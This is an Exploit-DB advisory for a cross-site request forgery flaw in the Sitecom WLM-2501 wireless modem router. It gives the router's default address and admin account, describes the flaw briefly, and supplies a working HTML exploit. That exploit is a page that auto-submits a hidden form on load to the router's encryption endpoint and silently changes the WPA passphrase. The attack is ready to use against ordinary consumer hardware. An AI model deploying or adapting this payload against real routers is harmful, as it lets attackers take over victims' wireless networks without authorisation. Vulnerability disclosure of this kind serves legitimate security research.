Sitecom WLM-2501 - Cross-Site Request Forgery

EDB-ID:

18597


Platform:

Hardware

Published:

2012-03-14

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# Exploit Title    : Sitecom WLM-2501 Change Wireless Passphrase
# Date             : 13-03-2012
# Author           : Ivano Binetti (http://www.ivanobinetti.com)
# Vendor site      : http://www.sitecom.com/wireless-modem-router-300n/p/859
# Version          : WLM-2501
# Tested on        : WLM-2501 (All Sitecom WL series might be is affected by these vulnerabilities)
# Original Advisory: http://ivanobinetti.blogspot.com/2012/03/sitecom-wlm-2501-change-wireless.html
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1)Introduction
2)Vulnerability Description
3)Exploit

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1)Introduction 
Sitecom WLM-2501 is a Wireless Modem Router 300N which uses a web management interface - listening to default on tcp/ip port 80
- and "admin" as default administrator. His default ip address is 192.168.0.1.


2)Vulnerability Description
The web interface of this router is affected by muktiple CSRF vulnerabilities which allows to change router parameters and 
- among other things - to change Wireless Passphrase.

3)Exploit 
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to change Wireless Passphrase</H2>
<form method="POST" name="form0" action="http://192.168.0.1:80/goform/admin/formWlEncrypt">
<input type="hidden" name="wlanDisabled" value="OFF"/>
<input type="hidden" name="method" value="6"/>
<input type="hidden" name="wpaAuth" value="psk"/>
<input type="hidden" name="pskFormat" value="0"/>
<input type="hidden" name="pskValue" value="newpassword"/>
<input type="hidden" name="submit-url" value="%2Fwlwpa.asp"/>
<input type="hidden" name="save" value="Apply"/>
</form>
</body>
</html>


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